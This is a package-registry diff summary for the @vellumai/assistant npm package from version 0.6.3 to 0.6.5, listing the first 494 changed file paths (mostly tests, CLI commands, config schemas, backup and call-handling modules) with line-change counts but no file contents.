@vellumai/assistant 0.6.3 → 0.6.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (1114) hide show
  1. package/.prettierignore +5 -0
  2. package/ARCHITECTURE.md +298 -39
  3. package/Dockerfile +14 -3
  4. package/README.md +3 -4
  5. package/bun.lock +13 -16
  6. package/docs/architecture/integrations.md +1 -20
  7. package/docs/architecture/security.md +16 -16
  8. package/docs/backup-troubleshooting.md +52 -0
  9. package/docs/browser-use-architecture-phase2.md +174 -0
  10. package/docs/error-handling.md +111 -0
  11. package/docs/skills.md +10 -10
  12. package/docs/stt-provider-onboarding.md +121 -0
  13. package/knip.json +20 -3
  14. package/node_modules/@vellumai/ces-contracts/bun.lock +8 -6
  15. package/node_modules/@vellumai/ces-contracts/package.json +5 -4
  16. package/node_modules/@vellumai/ces-contracts/src/__tests__/trust-rules.test.ts +471 -0
  17. package/node_modules/@vellumai/ces-contracts/src/trust-rules.ts +398 -4
  18. package/node_modules/@vellumai/credential-storage/bun.lock +2 -2
  19. package/node_modules/@vellumai/credential-storage/package.json +2 -2
  20. package/node_modules/@vellumai/credential-storage/src/oauth-runtime.ts +20 -2
  21. package/node_modules/@vellumai/egress-proxy/bun.lock +2 -2
  22. package/node_modules/@vellumai/egress-proxy/package.json +2 -2
  23. package/openapi.yaml +1094 -72
  24. package/package.json +9 -8
  25. package/scripts/generate-openapi.ts +50 -12
  26. package/scripts/test.sh +73 -18
  27. package/src/__tests__/agent-image-optimize.test.ts +28 -0
  28. package/src/__tests__/agent-loop-callsite-precedence.test.ts +318 -0
  29. package/src/__tests__/agent-loop-sentry-hygiene.test.ts +137 -0
  30. package/src/__tests__/agent-loop.test.ts +235 -1
  31. package/src/__tests__/anthropic-error-formatting.test.ts +98 -0
  32. package/src/__tests__/anthropic-provider.test.ts +434 -12
  33. package/src/__tests__/approval-cascade.test.ts +31 -10
  34. package/src/__tests__/approval-routes-http.test.ts +134 -10
  35. package/src/__tests__/assistant-attachments.test.ts +44 -0
  36. package/src/__tests__/assistant-feature-flags-integration.test.ts +29 -0
  37. package/src/__tests__/auto-analysis-end-to-end.test.ts +550 -0
  38. package/src/__tests__/auto-analysis-prompt.test.ts +50 -0
  39. package/src/__tests__/browser-fill-credential.test.ts +12 -1
  40. package/src/__tests__/browser-identifier-parity-guard.test.ts +53 -0
  41. package/src/__tests__/browser-skill-baseline-tool-payload.test.ts +23 -33
  42. package/src/__tests__/browser-skill-endstate.test.ts +52 -159
  43. package/src/__tests__/btw-routes.test.ts +54 -1
  44. package/src/__tests__/call-controller.test.ts +582 -22
  45. package/src/__tests__/call-site-routing-provider.test.ts +214 -0
  46. package/src/__tests__/catalog-cache.test.ts +27 -4
  47. package/src/__tests__/catalog-files.test.ts +138 -0
  48. package/src/__tests__/channel-approval-routes.test.ts +4 -4
  49. package/src/__tests__/channel-invite-transport.test.ts +2 -2
  50. package/src/__tests__/channel-readiness-routes.test.ts +16 -20
  51. package/src/__tests__/channel-readiness-service.test.ts +12 -7
  52. package/src/__tests__/channel-reply-delivery.test.ts +300 -2
  53. package/src/__tests__/checker.test.ts +576 -502
  54. package/src/__tests__/clawhub-files.test.ts +347 -0
  55. package/src/__tests__/cli-command-risk-guard.test.ts +30 -33
  56. package/src/__tests__/commit-message-enrichment-service.test.ts +36 -19
  57. package/src/__tests__/compaction-circuit-breaker.test.ts +336 -0
  58. package/src/__tests__/compaction.benchmark.test.ts +1 -1
  59. package/src/__tests__/config-analysis.test.ts +83 -0
  60. package/src/__tests__/config-loader-backfill.test.ts +174 -0
  61. package/src/__tests__/config-loader-corrupt.test.ts +183 -0
  62. package/src/__tests__/config-loader-quarantine-bulletin.test.ts +202 -0
  63. package/src/__tests__/config-schema-cmd.test.ts +11 -5
  64. package/src/__tests__/config-schema.test.ts +1458 -198
  65. package/src/__tests__/config-watcher-cleanup-throttle.test.ts +339 -0
  66. package/src/__tests__/config-watcher.test.ts +45 -10
  67. package/src/__tests__/contact-store-user-file.test.ts +511 -0
  68. package/src/__tests__/contacts-write.test.ts +197 -0
  69. package/src/__tests__/context-token-estimator.test.ts +191 -1
  70. package/src/__tests__/context-window-manager.test.ts +618 -2
  71. package/src/__tests__/conversation-abort-tool-results.test.ts +32 -16
  72. package/src/__tests__/conversation-agent-loop-overflow.test.ts +62 -17
  73. package/src/__tests__/conversation-agent-loop.test.ts +510 -84
  74. package/src/__tests__/conversation-attachments.test.ts +1 -1
  75. package/src/__tests__/conversation-confirmation-signals.test.ts +165 -9
  76. package/src/__tests__/conversation-error.test.ts +102 -1
  77. package/src/__tests__/conversation-history-web-search.test.ts +17 -4
  78. package/src/__tests__/conversation-init.benchmark.test.ts +42 -1
  79. package/src/__tests__/conversation-launcher-skill-regression.test.ts +51 -0
  80. package/src/__tests__/conversation-lifecycle.test.ts +336 -0
  81. package/src/__tests__/conversation-list-source.test.ts +145 -0
  82. package/src/__tests__/conversation-load-history-repair.test.ts +27 -10
  83. package/src/__tests__/conversation-pre-run-repair.test.ts +32 -16
  84. package/src/__tests__/conversation-process-callsite.test.ts +306 -0
  85. package/src/__tests__/conversation-provider-retry-repair.test.ts +32 -16
  86. package/src/__tests__/conversation-queue.test.ts +932 -76
  87. package/src/__tests__/conversation-routes-disk-view.test.ts +299 -1
  88. package/src/__tests__/conversation-routes-slash-commands.test.ts +31 -3
  89. package/src/__tests__/conversation-runtime-assembly.test.ts +2790 -55
  90. package/src/__tests__/conversation-runtime-workspace.test.ts +12 -12
  91. package/src/__tests__/conversation-skill-tools.test.ts +12 -143
  92. package/src/__tests__/conversation-slash-commands.test.ts +33 -0
  93. package/src/__tests__/conversation-slash-queue.test.ts +120 -34
  94. package/src/__tests__/conversation-slash-unknown.test.ts +32 -16
  95. package/src/__tests__/conversation-speed-override.test.ts +30 -11
  96. package/src/__tests__/conversation-surfaces-standalone-payloads.test.ts +1035 -0
  97. package/src/__tests__/conversation-surfaces-standalone.test.ts +630 -0
  98. package/src/__tests__/conversation-title-service.test.ts +2 -2
  99. package/src/__tests__/conversation-tool-setup-batch-authorized.test.ts +226 -0
  100. package/src/__tests__/conversation-unread-route.test.ts +2 -2
  101. package/src/__tests__/conversation-usage.test.ts +3 -1
  102. package/src/__tests__/conversation-workspace-cache-state.test.ts +31 -10
  103. package/src/__tests__/conversation-workspace-injection.test.ts +45 -15
  104. package/src/__tests__/conversation-workspace-tool-tracking.test.ts +46 -16
  105. package/src/__tests__/credential-broker-browser-fill.test.ts +110 -0
  106. package/src/__tests__/credential-health-service.test.ts +352 -0
  107. package/src/__tests__/credential-security-invariants.test.ts +8 -3
  108. package/src/__tests__/credential-storage-oauth-compat.test.ts +18 -0
  109. package/src/__tests__/credential-storage-static-compat.test.ts +28 -0
  110. package/src/__tests__/credential-vault-unit.test.ts +495 -3
  111. package/src/__tests__/credentials-cli.test.ts +32 -16
  112. package/src/__tests__/cross-provider-web-search.test.ts +230 -35
  113. package/src/__tests__/daemon-server-persist-and-process-callsite.test.ts +92 -0
  114. package/src/__tests__/delete-propagation.test.ts +437 -0
  115. package/src/__tests__/deterministic-verification-control-plane.test.ts +10 -1
  116. package/src/__tests__/device-id.test.ts +112 -0
  117. package/src/__tests__/dm-backfill.test.ts +417 -0
  118. package/src/__tests__/dm-persistence.test.ts +227 -0
  119. package/src/__tests__/docker-signing-key-bootstrap.test.ts +167 -4
  120. package/src/__tests__/dynamic-skill-workflow-prompt.test.ts +1 -3
  121. package/src/__tests__/edit-propagation.test.ts +280 -0
  122. package/src/__tests__/email-html-renderer.test.ts +71 -0
  123. package/src/__tests__/email-invite-adapter.test.ts +36 -32
  124. package/src/__tests__/emit-event-signal.test.ts +71 -0
  125. package/src/__tests__/ephemeral-permissions.test.ts +93 -3
  126. package/src/__tests__/estimator-calibration-integration.test.ts +208 -0
  127. package/src/__tests__/estimator-calibration.test.ts +213 -0
  128. package/src/__tests__/extension-id-sync-guard.test.ts +101 -15
  129. package/src/__tests__/file-write-tool.test.ts +151 -1
  130. package/src/__tests__/filing-service.test.ts +255 -0
  131. package/src/__tests__/fixtures/mock-chrome-extension.ts +11 -0
  132. package/src/__tests__/gateway-only-enforcement.test.ts +206 -1
  133. package/src/__tests__/gateway-only-guard.test.ts +0 -1
  134. package/src/__tests__/gemini-provider.test.ts +64 -3
  135. package/src/__tests__/get-skill-detail-audit.test.ts +325 -0
  136. package/src/__tests__/guardian-grant-minting.test.ts +8 -0
  137. package/src/__tests__/headless-browser-interactions.test.ts +44 -1
  138. package/src/__tests__/headless-browser-mode.test.ts +614 -0
  139. package/src/__tests__/headless-browser-navigate.test.ts +142 -5
  140. package/src/__tests__/headless-browser-read-tools.test.ts +11 -0
  141. package/src/__tests__/headless-browser-snapshot.test.ts +10 -0
  142. package/src/__tests__/heartbeat-service.test.ts +166 -32
  143. package/src/__tests__/home-state-routes.test.ts +162 -0
  144. package/src/__tests__/host-bash-proxy.test.ts +0 -5
  145. package/src/__tests__/host-browser-e2e-cloud.test.ts +138 -4
  146. package/src/__tests__/host-browser-e2e-self-hosted.test.ts +4 -4
  147. package/src/__tests__/host-browser-ws-events-e2e.test.ts +103 -0
  148. package/src/__tests__/host-cu-proxy.test.ts +0 -5
  149. package/src/__tests__/host-shell-tool.test.ts +124 -18
  150. package/src/__tests__/http-user-message-parity.test.ts +29 -1
  151. package/src/__tests__/identity-intro-cache.test.ts +40 -10
  152. package/src/__tests__/inbound-slack-persistence.test.ts +340 -0
  153. package/src/__tests__/init-feature-flag-overrides.test.ts +38 -112
  154. package/src/__tests__/intent-routing.test.ts +1 -40
  155. package/src/__tests__/jobs-store-upsert-debounced.test.ts +141 -0
  156. package/src/__tests__/llm-catalog-parity.test.ts +174 -0
  157. package/src/__tests__/llm-context-normalization.test.ts +609 -0
  158. package/src/__tests__/llm-context-route-provider.test.ts +86 -5
  159. package/src/__tests__/llm-resolver.test.ts +214 -0
  160. package/src/__tests__/llm-schema.test.ts +223 -0
  161. package/src/__tests__/llm-usage-store.test.ts +363 -0
  162. package/src/__tests__/managed-proxy-context.test.ts +6 -2
  163. package/src/__tests__/media-stream-output.test.ts +555 -0
  164. package/src/__tests__/media-stream-parser.test.ts +374 -0
  165. package/src/__tests__/media-stream-server-integration.test.ts +1234 -0
  166. package/src/__tests__/media-stream-stt-session.test.ts +588 -0
  167. package/src/__tests__/media-turn-detector.test.ts +440 -0
  168. package/src/__tests__/message-queue.test.ts +125 -0
  169. package/src/__tests__/messaging-skill-split.test.ts +3 -34
  170. package/src/__tests__/migration-export-http.test.ts +6 -6
  171. package/src/__tests__/migration-import-commit-http.test.ts +8 -6
  172. package/src/__tests__/migration-import-from-url.test.ts +684 -0
  173. package/src/__tests__/migration-import-preflight-http.test.ts +6 -5
  174. package/src/__tests__/migration-validate-http.test.ts +3 -3
  175. package/src/__tests__/mock-gateway-ipc.ts +151 -0
  176. package/src/__tests__/model-intents.test.ts +10 -84
  177. package/src/__tests__/notification-decision-fallback.test.ts +0 -10
  178. package/src/__tests__/notification-decision-identity.test.ts +0 -9
  179. package/src/__tests__/notification-decision-recipient-context.test.ts +0 -9
  180. package/src/__tests__/oauth-apps-routes.test.ts +1 -0
  181. package/src/__tests__/oauth-cli.test.ts +2 -0
  182. package/src/__tests__/oauth-connect-orchestrator.test.ts +2 -0
  183. package/src/__tests__/oauth-provider-serializer.test.ts +1 -0
  184. package/src/__tests__/oauth-providers-routes.test.ts +2 -0
  185. package/src/__tests__/oauth-store.test.ts +95 -7
  186. package/src/__tests__/oauth2-gateway-transport.test.ts +257 -9
  187. package/src/__tests__/oauth2-refresh-retry.test.ts +279 -0
  188. package/src/__tests__/onboarding-template-contract.test.ts +6 -13
  189. package/src/__tests__/openai-provider.test.ts +183 -0
  190. package/src/__tests__/openai-responses-cutover-guard.test.ts +184 -0
  191. package/src/__tests__/openai-responses-provider.test.ts +1501 -0
  192. package/src/__tests__/openrouter-provider-only.test.ts +135 -0
  193. package/src/__tests__/openrouter-token-estimation.test.ts +100 -0
  194. package/src/__tests__/outbound-slack-persistence.test.ts +293 -0
  195. package/src/__tests__/permission-checker-host-gate.test.ts +1 -1
  196. package/src/__tests__/permission-mode.test.ts +16 -0
  197. package/src/__tests__/permission-types.test.ts +0 -1
  198. package/src/__tests__/persona-resolver.test.ts +251 -0
  199. package/src/__tests__/pkb-autoinject.test.ts +37 -1
  200. package/src/__tests__/platform-bash-auto-approve.test.ts +5 -1
  201. package/src/__tests__/platform.test.ts +92 -1
  202. package/src/__tests__/post-turn-tool-result-truncation.test.ts +47 -0
  203. package/src/__tests__/prechat-onboarding-contract.test.ts +267 -0
  204. package/src/__tests__/pricing.test.ts +224 -3
  205. package/src/__tests__/profiler-routes.test.ts +1 -1
  206. package/src/__tests__/provider-commit-message-generator.test.ts +14 -84
  207. package/src/__tests__/provider-env-vars-scope.test.ts +52 -0
  208. package/src/__tests__/provider-error-scenarios.test.ts +135 -6
  209. package/src/__tests__/provider-managed-proxy-integration.test.ts +42 -11
  210. package/src/__tests__/provider-registry-ollama.test.ts +1 -2
  211. package/src/__tests__/proxy-approval-callback.test.ts +0 -1
  212. package/src/__tests__/qdrant-manager.test.ts +29 -8
  213. package/src/__tests__/reaction-persistence.test.ts +560 -0
  214. package/src/__tests__/regenerate-fire-and-forget-trace.test.ts +194 -0
  215. package/src/__tests__/relationship-state-contract.test.ts +175 -0
  216. package/src/__tests__/relay-server.test.ts +424 -6
  217. package/src/__tests__/require-fresh-approval.test.ts +1 -1
  218. package/src/__tests__/retry-openrouter-only-normalization.test.ts +136 -0
  219. package/src/__tests__/retry-thinking-tool-choice.test.ts +226 -0
  220. package/src/__tests__/risk-classifier-parity.test.ts +230 -0
  221. package/src/__tests__/sanitize-config-for-transfer.test.ts +78 -1
  222. package/src/__tests__/search-skills-unified.test.ts +118 -0
  223. package/src/__tests__/secret-ingress-http.test.ts +28 -0
  224. package/src/__tests__/secret-prompter-channel-fallback.test.ts +125 -0
  225. package/src/__tests__/secret-routes-managed-proxy.test.ts +2 -3
  226. package/src/__tests__/secret-scanner-executor.test.ts +5 -1
  227. package/src/__tests__/secure-keys.test.ts +107 -0
  228. package/src/__tests__/send-endpoint-busy.test.ts +34 -2
  229. package/src/__tests__/sequence-store.test.ts +1 -1
  230. package/src/__tests__/server-history-render.test.ts +80 -0
  231. package/src/__tests__/settings-routes.test.ts +201 -0
  232. package/src/__tests__/shell-parser-property.test.ts +13 -13
  233. package/src/__tests__/skill-cache-store.test.ts +182 -0
  234. package/src/__tests__/skill-load-feature-flag.test.ts +1 -0
  235. package/src/__tests__/skills-file-content-endpoint.test.ts +276 -145
  236. package/src/__tests__/skills-files-catalog-fallback.test.ts +381 -93
  237. package/src/__tests__/skills.test.ts +19 -30
  238. package/src/__tests__/skillssh-files.test.ts +446 -0
  239. package/src/__tests__/slack-app-setup-skill-regression.test.ts +3 -1
  240. package/src/__tests__/slack-block-formatting.test.ts +110 -0
  241. package/src/__tests__/slack-channel-config.test.ts +564 -1
  242. package/src/__tests__/slack-skill.test.ts +3 -8
  243. package/src/__tests__/starter-bundle.test.ts +35 -0
  244. package/src/__tests__/stt-catalog-parity.test.ts +282 -0
  245. package/src/__tests__/stt-stream-session.test.ts +535 -0
  246. package/src/__tests__/subagent-call-site-routing.test.ts +280 -0
  247. package/src/__tests__/suggestion-routes.test.ts +160 -3
  248. package/src/__tests__/system-prompt.test.ts +126 -53
  249. package/src/__tests__/task-runner.test.ts +3 -1
  250. package/src/__tests__/tcc-sandbox-deny.test.ts +198 -0
  251. package/src/__tests__/telephony-stt-routing.test.ts +329 -0
  252. package/src/__tests__/terminal-tools.test.ts +26 -7
  253. package/src/__tests__/test-preload.ts +18 -0
  254. package/src/__tests__/test-support/browser-skill-harness.ts +2 -49
  255. package/src/__tests__/thread-backfill.test.ts +941 -0
  256. package/src/__tests__/tool-execution-pipeline.benchmark.test.ts +2 -2
  257. package/src/__tests__/tool-executor-lifecycle-events.test.ts +10 -6
  258. package/src/__tests__/tool-executor-shell-integration.test.ts +4 -0
  259. package/src/__tests__/tool-executor.test.ts +88 -113
  260. package/src/__tests__/tool-result-truncation.test.ts +36 -0
  261. package/src/__tests__/trust-store.test.ts +442 -103
  262. package/src/__tests__/trusted-contact-approval-notifier.test.ts +1 -1
  263. package/src/__tests__/tts-catalog-parity.test.ts +345 -0
  264. package/src/__tests__/twilio-routes-twiml.test.ts +512 -114
  265. package/src/__tests__/twilio-routes.test.ts +376 -0
  266. package/src/__tests__/unicode.test.ts +293 -0
  267. package/src/__tests__/update-bulletin-job.test.ts +389 -0
  268. package/src/__tests__/usage-cache-backfill-migration.test.ts +3 -1
  269. package/src/__tests__/usage-routes.test.ts +25 -4
  270. package/src/__tests__/user-reference.test.ts +46 -61
  271. package/src/__tests__/verification-control-plane-policy.test.ts +5 -22
  272. package/src/__tests__/voice-config-update.test.ts +403 -0
  273. package/src/__tests__/voice-quality.test.ts +434 -19
  274. package/src/__tests__/voice-session-bridge.test.ts +39 -0
  275. package/src/__tests__/volume-security-guard.test.ts +3 -2
  276. package/src/__tests__/web-search-history.test.ts +337 -0
  277. package/src/__tests__/workspace-heartbeat-service.test.ts +7 -0
  278. package/src/__tests__/workspace-migration-033-stt-service-explicit-config.test.ts +547 -0
  279. package/src/__tests__/workspace-migration-034-remove-calls-voice-transcription-provider.test.ts +596 -0
  280. package/src/__tests__/workspace-migration-039-drop-legacy-llm-keys.test.ts +343 -0
  281. package/src/__tests__/workspace-migration-043-release-notes-latex-rendering.test.ts +202 -0
  282. package/src/__tests__/workspace-migration-045-release-notes-meet-avatar.test.ts +210 -0
  283. package/src/__tests__/workspace-migration-drop-user-md.test.ts +368 -0
  284. package/src/__tests__/workspace-migration-meets.test.ts +244 -0
  285. package/src/__tests__/workspace-migration-seed-device-id.test.ts +14 -20
  286. package/src/__tests__/workspace-migration-unify-llm-callsite-configs.test.ts +841 -0
  287. package/src/__tests__/workspace-policy.test.ts +1 -11
  288. package/src/acp/client-handler.ts +1 -2
  289. package/src/agent/image-optimize.ts +24 -12
  290. package/src/agent/loop.ts +251 -19
  291. package/src/avatar/resvg-lazy.test.ts +136 -0
  292. package/src/avatar/resvg-lazy.ts +82 -9
  293. package/src/avatar/traits-png-sync.ts +21 -1
  294. package/src/backup/__tests__/backup-key.test.ts +152 -0
  295. package/src/backup/__tests__/backup-worker.test.ts +767 -0
  296. package/src/backup/__tests__/list-snapshots.test.ts +87 -0
  297. package/src/backup/__tests__/local-writer.test.ts +218 -0
  298. package/src/backup/__tests__/offsite-writer.test.ts +641 -0
  299. package/src/backup/__tests__/paths.test.ts +300 -0
  300. package/src/backup/__tests__/restore.test.ts +498 -0
  301. package/src/backup/__tests__/snapshot-lock.test.ts +352 -0
  302. package/src/backup/__tests__/stream-crypt.test.ts +228 -0
  303. package/src/backup/backup-key.ts +137 -0
  304. package/src/backup/backup-worker.ts +459 -0
  305. package/src/backup/list-snapshots.ts +147 -0
  306. package/src/backup/local-writer.ts +133 -0
  307. package/src/backup/offsite-writer.ts +222 -0
  308. package/src/backup/paths.ts +226 -0
  309. package/src/backup/restore.ts +322 -0
  310. package/src/backup/snapshot-lock.ts +431 -0
  311. package/src/backup/stream-crypt.ts +263 -0
  312. package/src/browser/__tests__/operations.test.ts +163 -0
  313. package/src/browser/identifiers.ts +51 -0
  314. package/src/browser/operations.ts +660 -0
  315. package/src/browser/types.ts +81 -0
  316. package/src/bundler/package-resolver.ts +4 -0
  317. package/src/calls/audio-store.ts +11 -5
  318. package/src/calls/call-controller.ts +226 -71
  319. package/src/calls/call-domain.ts +9 -0
  320. package/src/calls/call-speech-output.ts +190 -0
  321. package/src/calls/call-transport.ts +77 -0
  322. package/src/calls/guardian-question-copy.ts +2 -2
  323. package/src/calls/media-stream-audio-transcode.ts +173 -0
  324. package/src/calls/media-stream-output.ts +660 -0
  325. package/src/calls/media-stream-parser.ts +300 -0
  326. package/src/calls/media-stream-protocol.ts +166 -0
  327. package/src/calls/media-stream-server.ts +592 -0
  328. package/src/calls/media-stream-stt-session.ts +460 -0
  329. package/src/calls/media-turn-detector.ts +230 -0
  330. package/src/calls/relay-server.ts +90 -75
  331. package/src/calls/resolve-call-tts-provider.ts +136 -0
  332. package/src/calls/telephony-stt-routing.ts +145 -0
  333. package/src/calls/tts-call-strategy.ts +161 -0
  334. package/src/calls/tts-text-sanitizer.ts +32 -16
  335. package/src/calls/twilio-routes.ts +281 -17
  336. package/src/calls/voice-quality.ts +78 -35
  337. package/src/calls/voice-session-bridge.ts +9 -1
  338. package/src/channels/types.ts +16 -0
  339. package/src/cli/AGENTS.md +1 -1
  340. package/src/cli/__tests__/run-assistant-command.ts +11 -1
  341. package/src/cli/commands/__tests__/attachment.test.ts +438 -0
  342. package/src/cli/commands/__tests__/backup.test.ts +1165 -0
  343. package/src/cli/commands/__tests__/browser.test.ts +554 -0
  344. package/src/cli/commands/__tests__/cache.test.ts +623 -0
  345. package/src/cli/commands/__tests__/domain-register.test.ts +234 -0
  346. package/src/cli/commands/__tests__/domain-status.test.ts +132 -0
  347. package/src/cli/commands/__tests__/email-attachment.test.ts +422 -0
  348. package/src/cli/commands/__tests__/email-download.test.ts +16 -1
  349. package/src/cli/commands/__tests__/email-list.test.ts +28 -4
  350. package/src/cli/commands/__tests__/email-register.test.ts +4 -4
  351. package/src/cli/commands/__tests__/email-send.test.ts +130 -5
  352. package/src/cli/commands/__tests__/email-status.test.ts +5 -1
  353. package/src/cli/commands/__tests__/email-unregister.test.ts +34 -5
  354. package/src/cli/commands/__tests__/image-generation.test.ts +666 -0
  355. package/src/cli/commands/__tests__/inference-send.test.ts +451 -0
  356. package/src/cli/commands/__tests__/stt-transcribe.test.ts +454 -0
  357. package/src/cli/commands/__tests__/task.test.ts +913 -0
  358. package/src/cli/commands/__tests__/tts-synthesize.test.ts +594 -0
  359. package/src/cli/commands/__tests__/ui-confirm.test.ts +650 -0
  360. package/src/cli/commands/__tests__/ui.test.ts +1215 -0
  361. package/src/cli/commands/__tests__/watchers.test.ts +716 -0
  362. package/src/cli/commands/attachment.ts +182 -0
  363. package/src/cli/commands/backup.ts +993 -0
  364. package/src/cli/commands/browser.ts +350 -0
  365. package/src/cli/commands/cache.ts +341 -0
  366. package/src/cli/commands/completions.ts +0 -3
  367. package/src/cli/commands/config.ts +6 -6
  368. package/src/cli/commands/conversations-import.ts +347 -0
  369. package/src/cli/commands/conversations.ts +90 -0
  370. package/src/cli/commands/credentials.ts +0 -1
  371. package/src/cli/commands/domain.ts +210 -0
  372. package/src/cli/commands/email.ts +308 -16
  373. package/src/cli/commands/image-generation.ts +300 -0
  374. package/src/cli/commands/inference.ts +200 -0
  375. package/src/cli/commands/memory.ts +127 -17
  376. package/src/cli/commands/oauth/__tests__/connect.test.ts +12 -0
  377. package/src/cli/commands/oauth/__tests__/providers-delete.test.ts +1 -0
  378. package/src/cli/commands/oauth/__tests__/providers-register.test.ts +1 -0
  379. package/src/cli/commands/oauth/__tests__/providers-update.test.ts +1 -0
  380. package/src/cli/commands/oauth/mode.ts +12 -3
  381. package/src/cli/commands/oauth/providers.ts +15 -0
  382. package/src/cli/commands/oauth/shared.ts +2 -1
  383. package/src/cli/commands/platform/__tests__/callback-routes-list.test.ts +4 -10
  384. package/src/cli/commands/platform/__tests__/connect.test.ts +6 -1
  385. package/src/cli/commands/platform/__tests__/disconnect.test.ts +7 -2
  386. package/src/cli/commands/platform/__tests__/status.test.ts +6 -1
  387. package/src/cli/commands/stt.ts +339 -0
  388. package/src/cli/commands/task.ts +795 -0
  389. package/src/cli/commands/trust.ts +50 -19
  390. package/src/cli/commands/tts.ts +273 -0
  391. package/src/cli/commands/ui.ts +670 -0
  392. package/src/cli/commands/watchers.ts +509 -0
  393. package/src/cli/lib/daemon-credential-client.ts +0 -19
  394. package/src/cli/program.ts +53 -8
  395. package/src/cli.ts +0 -37
  396. package/src/config/__tests__/backup-schema.test.ts +134 -0
  397. package/src/config/assistant-feature-flags.ts +61 -62
  398. package/src/config/bundled-skills/app-builder/references/CUSTOM_ROUTES.md +37 -1
  399. package/src/config/bundled-skills/contacts/SKILL.md +2 -2
  400. package/src/config/bundled-skills/conversations/tools/rename-conversation.ts +23 -1
  401. package/src/config/bundled-skills/media-processing/SKILL.md +3 -9
  402. package/src/config/bundled-skills/media-processing/TOOLS.json +1 -6
  403. package/src/config/bundled-skills/media-processing/__tests__/audio-transcribe.test.ts +125 -0
  404. package/src/config/bundled-skills/media-processing/__tests__/extract-keyframes.test.ts +181 -0
  405. package/src/config/bundled-skills/media-processing/__tests__/preprocess-audio.test.ts +141 -0
  406. package/src/config/bundled-skills/media-processing/services/audio-transcribe.ts +32 -87
  407. package/src/config/bundled-skills/media-processing/services/preprocess.ts +8 -4
  408. package/src/config/bundled-skills/media-processing/services/reduce.ts +1 -1
  409. package/src/config/bundled-skills/media-processing/tools/extract-keyframes.ts +0 -10
  410. package/src/config/bundled-skills/messaging/SKILL.md +5 -5
  411. package/src/config/bundled-skills/messaging/TOOLS.json +4 -0
  412. package/src/config/bundled-skills/messaging/tools/messaging-archive-by-sender.ts +9 -2
  413. package/src/config/bundled-skills/messaging/tools/messaging-read.ts +15 -1
  414. package/src/config/bundled-skills/messaging/tools/messaging-search.ts +21 -1
  415. package/src/config/bundled-skills/messaging/tools/messaging-send.ts +11 -12
  416. package/src/config/bundled-skills/phone-calls/SKILL.md +2 -2
  417. package/src/config/bundled-skills/phone-calls/references/CONFIG.md +28 -18
  418. package/src/config/bundled-skills/phone-calls/references/TROUBLESHOOTING.md +3 -3
  419. package/src/config/bundled-skills/settings/TOOLS.json +3 -3
  420. package/src/config/bundled-skills/settings/tools/voice-config-update.ts +26 -22
  421. package/src/config/bundled-skills/transcribe/SKILL.md +9 -14
  422. package/src/config/bundled-skills/transcribe/TOOLS.json +2 -7
  423. package/src/config/bundled-skills/transcribe/tools/transcribe-media.test.ts +256 -0
  424. package/src/config/bundled-skills/transcribe/tools/transcribe-media.ts +38 -188
  425. package/src/config/bundled-tool-registry.ts +0 -167
  426. package/src/config/env-registry.ts +24 -0
  427. package/src/config/env.ts +39 -10
  428. package/src/config/feature-flag-registry.json +63 -15
  429. package/src/config/llm-resolver.ts +128 -0
  430. package/src/config/loader.ts +220 -22
  431. package/src/config/raw-config-utils.ts +30 -2
  432. package/src/config/sanitize-for-transfer.ts +35 -0
  433. package/src/config/schema.ts +65 -51
  434. package/src/config/schemas/__tests__/stt.test.ts +43 -0
  435. package/src/config/schemas/analysis.ts +32 -0
  436. package/src/config/schemas/backup.ts +72 -0
  437. package/src/config/schemas/calls.ts +1 -30
  438. package/src/config/schemas/elevenlabs.ts +0 -59
  439. package/src/config/schemas/filing.ts +49 -14
  440. package/src/config/schemas/heartbeat.ts +27 -10
  441. package/src/config/schemas/host-browser.ts +47 -1
  442. package/src/config/schemas/inference.ts +3 -23
  443. package/src/config/schemas/llm.ts +318 -0
  444. package/src/config/schemas/memory-lifecycle.ts +14 -2
  445. package/src/config/schemas/memory-processing.ts +1 -9
  446. package/src/config/schemas/notifications.ts +4 -11
  447. package/src/config/schemas/platform.ts +3 -9
  448. package/src/config/schemas/security.ts +33 -0
  449. package/src/config/schemas/services.ts +53 -4
  450. package/src/config/schemas/stt.ts +60 -0
  451. package/src/config/schemas/tts.ts +283 -0
  452. package/src/config/schemas/updates.ts +14 -0
  453. package/src/config/schemas/workspace-git.ts +3 -40
  454. package/src/config/skills.ts +6 -2
  455. package/src/config/types.ts +4 -0
  456. package/src/contacts/contact-store.ts +56 -11
  457. package/src/contacts/contacts-write.ts +38 -1
  458. package/src/context/__tests__/compact-prompt.test.ts +45 -0
  459. package/src/context/__tests__/microcompact.test.ts +805 -0
  460. package/src/context/estimator-calibration.ts +136 -0
  461. package/src/context/microcompact.ts +443 -0
  462. package/src/context/post-turn-tool-result-truncation.ts +3 -2
  463. package/src/context/prompts/compact.md +12 -0
  464. package/src/context/token-estimator.ts +61 -3
  465. package/src/context/tool-result-truncation.ts +2 -1
  466. package/src/context/window-manager.ts +272 -35
  467. package/src/credential-execution/approval-bridge.ts +0 -1
  468. package/src/credential-execution/executable-discovery.ts +23 -2
  469. package/src/credential-execution/process-manager.test.ts +109 -0
  470. package/src/credential-execution/process-manager.ts +96 -2
  471. package/src/credential-health/credential-health-service.ts +366 -0
  472. package/src/daemon/__tests__/conversation-lifecycle-auto-analyze.test.ts +324 -0
  473. package/src/daemon/__tests__/conversation-surfaces-launch.test.ts +497 -0
  474. package/src/daemon/__tests__/conversation-tool-setup.test.ts +17 -8
  475. package/src/daemon/__tests__/lifecycle-startup-ordering.test.ts +127 -0
  476. package/src/daemon/approval-generators.ts +29 -4
  477. package/src/daemon/assistant-attachments.ts +24 -13
  478. package/src/daemon/classifier.ts +2 -2
  479. package/src/daemon/config-watcher.ts +99 -6
  480. package/src/daemon/context-overflow-reducer.ts +4 -1
  481. package/src/daemon/conversation-agent-loop-handlers.ts +85 -12
  482. package/src/daemon/conversation-agent-loop.ts +563 -104
  483. package/src/daemon/conversation-attachments.ts +2 -6
  484. package/src/daemon/conversation-error.ts +46 -0
  485. package/src/daemon/conversation-history.ts +40 -6
  486. package/src/daemon/conversation-launch.ts +220 -0
  487. package/src/daemon/conversation-lifecycle.ts +85 -11
  488. package/src/daemon/conversation-messaging.ts +110 -7
  489. package/src/daemon/conversation-notifiers.ts +5 -0
  490. package/src/daemon/conversation-process.ts +591 -23
  491. package/src/daemon/conversation-queue-manager.ts +27 -0
  492. package/src/daemon/conversation-runtime-assembly.ts +769 -28
  493. package/src/daemon/conversation-slash.ts +38 -2
  494. package/src/daemon/conversation-surfaces.ts +483 -5
